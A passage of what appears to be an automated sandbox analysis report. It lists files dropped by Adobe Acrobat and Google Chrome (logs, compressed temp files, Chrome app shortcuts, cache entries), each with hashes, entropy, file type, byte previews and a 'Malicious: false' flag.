Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357658928246095
Encrypted:	false
SSDEEP:	384:jPh111O11111i10ge+e/ePe5JezeQe+e4rN0Y0OhIju2Fp9p8p9pk6O3lXlNlL/l:jpf0HLA6gF+geJ4tXpJxNSyW/qj129T7
MD5:	8E0B62C71AE127E81B1AFED45B41C399
SHA1:	55D1D0210E1CBCF9AE3DCCD53A121237DA236F60
SHA-256:	298843AC01C02B66FD52C888632683B8DF0A28D79C222458E1406901B6F75322
SHA-512:	2EEF5F67086EF442419D1EAA5483354A5030D05841593722A68815CD49220CC10EBB28FABBF3E57A24B9170AD4866A54745E296D308B5457BD14014DF1A2F5F5
Malicious:	false
Preview:	SessionID=b86f2c65-50bc-485a-83a3-129356300ac4.1716831008491 Timestamp=2024-05-27T13:30:08:491-0400 ThreadID=6232 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b86f2c65-50bc-485a-83a3-129356300ac4.1716831008491 Timestamp=2024-05-27T13:30:08:493-0400 ThreadID=6232 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b86f2c65-50bc-485a-83a3-129356300ac4.1716831008491 Timestamp=2024-05-27T13:30:08:493-0400 ThreadID=6232 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b86f2c65-50bc-485a-83a3-129356300ac4.1716831008491 Timestamp=2024-05-27T13:30:08:493-0400 ThreadID=6232 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b86f2c65-50bc-485a-83a3-129356300ac4.1716831008491 Timestamp=2024-05-27T13:30:08:493-0400 ThreadID=6232 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.41778088638304
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcb3ncbKIK8cbZ:fhWlA/TVFK7
MD5:	06E39700739CE0FF721D01CC042130EB
SHA1:	CF1150225E0B51D980DFE0A500F44EF74218C3B0
SHA-256:	8AC8570F0776C241C2088CB431B08B4DB91538712D32731294D44E24218681CF
SHA-512:	E57521E9CD61D02CACAA33237F9C8DD9EBC14BF924E3DA835E9431725F62670A4957A89143B4B86D486F49BDD40B7E683A3EF17C61D6553BD8F333D1410445F0
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1208e11b-9118-47a5-872e-4f711df699e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\202f9346-3e36-488a-84e7-c05b6d4fc6fd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9dbd0f3d-d4a4-44ed-85c2-cd9f39a55d58.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bfbb9f80-b81b-4db8-a29a-0af0888c57e0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/x0WL07oDGZswYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J0WLxDGZswZGM3mlind9i4ufFXpAXkru
MD5:	1A39CAAE4C5F8AD2A98F0756FFCBA562
SHA1:	279F2B503A0B10E257674D31532B01EA7DE0473F
SHA-256:	57D198C7BDB9B002B8C9C1E1CCFABFE81C00FE0A1E30A237196A7C133237AA95
SHA-512:	73D083E92FB59C92049AF8DC31A0AA2F38755453FFB161D18A1C4244747EE88B7A850F7951FC10F842AE65F6CC8F6164231DB6261777EC5379B337CB379BEF99
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 16:30:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.990919001248607
Encrypted:	false
SSDEEP:	48:8Hjd1TdVkHLidAKZdA1FehwiZUklqehvy+3:8HTDQ8y
MD5:	CD0104C67D55B48A3F26D48BCB109A84
SHA1:	2B2D598245C426F8C8A85DF65600A213142E9D8C
SHA-256:	C03B93AA9424B330527AD0941DF04F358DA155746AB70C2D692A947B4351BEAB
SHA-512:	A2A6AE2308FC7A0E279D38811836FE884DD2BFCF5E99EED14208AFC7D5418514B1DDD7435ADD886E13DCD969C5B4123DDBFCA21210917D61ACE97CC2F7897128
Malicious:	false
Preview:	L..................F.@.. ...$+.,....o...[...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 16:30:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.009840536132825
Encrypted:	false
SSDEEP:	48:86d1TdVkHLidAKZdA1seh/iZUkAQkqehsy+2:8UDG9Qdy
MD5:	8C30F9AC96EED6AFB3E0107D26198B19
SHA1:	E88640DE66F6D91DEBCDE5D4E8748DCB712ADBF1
SHA-256:	32640524AA55C552A329B6942CF1F461B4F200AF252B5660344E20F45F49C233
SHA-512:	1C85242928818C4F7B7D834513CD3923BE9EAE7C6F203A2BB81C2CA8015EBB11527D0000B2938725880F59E38F99F07BB4274542A83E25178A043928F7858C46
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....r..[...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0149716857900355
Encrypted:	false
SSDEEP:	48:8Dd1TdVAHLidAKZdA14meh7sFiZUkmgqeh7sCy+BX:8zDGn4y
MD5:	824843E04ED4DD20AE86FB5A309D0785
SHA1:	C5F1BB021DB22F3E170C79821911FCFF21499A64
SHA-256:	F57999265FCB09A68C50A951B7ECF99FB7E9EDAEBE8BD38058D2A37C69FAC952
SHA-512:	AE9E0123C2813065194DA44A7169FC8032D10CE16B0381C566B2AF26FCC1B3DDE4351BBFF5848BB73C307AEEDF044DC78AC7F4A6467FE0337F6B8BCFC1A747C3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 16:30:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.0037699758911405
Encrypted:	false
SSDEEP:	48:8kXd1TdVkHLidAKZdA1TehDiZUkwqehQy+R:8UDd6y
MD5:	DB2F8C51A7FAE1A651634180F6A6DC74
SHA1:	1EDABA720C978FFCF099EB04ECF4469327E15D58
SHA-256:	B97CD5651C163CAAF9BBC84D5397B8143FB571A3FB8288120E7DC1E35EBD8BFB
SHA-512:	004ECC6F3E24386C18B32BBF6DA928A9EB6A0651082E8B6A802BDF138CBE0921D97685A5C865239F18DE72A831BFA9696814937146EF4ECD276EEEAC78FA49A8
Malicious:	false
Preview:	L..................F.@.. ...$+.,....)1..[...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 16:30:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9974207871170666
Encrypted:	false
SSDEEP:	48:84d1TdVkHLidAKZdA1dehBiZUk1W1qeh+y+C:8CDd9ey
MD5:	202CB684BB4A149FB6DB119DA7DBDCA1
SHA1:	357CC0AE4CEDAB5BD5F3E1456B5861178332EF8B
SHA-256:	06B1EE9F1F2516158E54A5DAB3F88823C9C14F91B4221EB12B272A05B2CDC9D6
SHA-512:	64005892932DBD3849BDA05D7AD723B760B701873198E4FBAD76C606E98F091251771B43517D038491C71CFE5A1A909C560631DCBC25AA39C3D0D841959A64BE
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....w..[...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 16:30:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.008493374893858
Encrypted:	false
SSDEEP:	48:8JPd1TdVkHLidAKZdA1duTeehOuTbbiZUk5OjqehOuTb4y+yT+:8J3DlTfTbxWOvTb4y7T
MD5:	E1340C8485FB8430C50D0EABBD2E385A
SHA1:	9AC88063F7AE3C01085A4647D3665D803AD825AE
SHA-256:	958B05B9868D376449AA4E04AF2019DEBF9514FC4F6BBA79C9337E29205F634C
SHA-512:	96F99D3CB50353226ECCD95D3B703D83A111C31DEE376BA14E2D9F43EF54323797090522FB39C3C60B69624E557997C213C80091F30156D4A735AD0EB231C748
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....W..[...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............?0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
SSDEEP:	48:QpL5o5suk1KvI0wTsPIbCxl1IuysA5JOAmJ:QBu5XkEIvTsQAvxDAmJ
MD5:	862FA73C33D1B7F380A51B609E3C0766
SHA1:	1B602C442C1F87E2B00CA768D5F986FEE8E4EC2F
SHA-256:	994AC85AF4DB5A2B5F7CE72D4F49C6B1C18C6422C8E57E623A2873BD7599E404
SHA-512:	D3DB66B915BA7E0EA51DAA87CCCB93C9CFC3667E25EF744202EB0491ABA83FA2F274E985A8C0A86E2FE2C820835A82E0F8F11C0116CC9B4E0605789FF0C2CF83
Malicious:	false
Preview:	.PNG........IHDR...l.................sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....\IDATh..YM..6...Md..'....o.w......s.."....,.......vS....R..u..D..Dj..'....o3..#...\|....7..q$^o>.._8Z..g.....qj..x...}g..6..[.q<g....!.4M...I.SJ...s.~.8.p#..^.......yDD...;.R.^.W...Q.....PuuOB..r..:......UJ..('.~ ^&I2......0y.k_.B....\.33o....Z.)3..,+..q.C...[......]../_vR.=.!....r ...]...(...h..h...@...a@s.{..}.EQ.....^...=Y.w..9..o.L).9"..Z....U....b....@7..`.eY...Xk'.`.-...3...Y..J.Q ....N...V...)...M.k.:#).2....u].EQ.-D4r}....D4...f.-...@...{.4'.....c..0@..].....o.....GDS.WD.km..b....k...q...%R..f..3.@.4....v..R.y.$...[[.........BTh...q.%.`.~...<....A2....y#...P]}.....B.<Y.{.....D.+..?sk.AD9.)..VJ.<Y.;.\}km%..[ko...Z[......O...D...s"Z..U.$..j...zs.o...G...S.e.o(.....?..8..L.H.....[..;/...v-)e.w.y...e..."z.....z...xBDCf.y{.@k}..h....{tm...@...D..8r.1..r....9.......Eq.......d..!Y....pk.$N........

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	92
Entropy (8bit):	4.916058527666463
Encrypted:	false
SSDEEP:	3:eSHzj0KxhdVEnkikHcr8NLmwkCfFNIk:R0XB2crqLmKFyk
MD5:	F2EB865985710072D1395004561CA2D2
SHA1:	AC40D47095AA808B7C072F9A0DCC9E40C660EC98
SHA-256:	3842607A686B3DA42971CAE19A981AE4A444ACA847595C893505CC510428AF9B
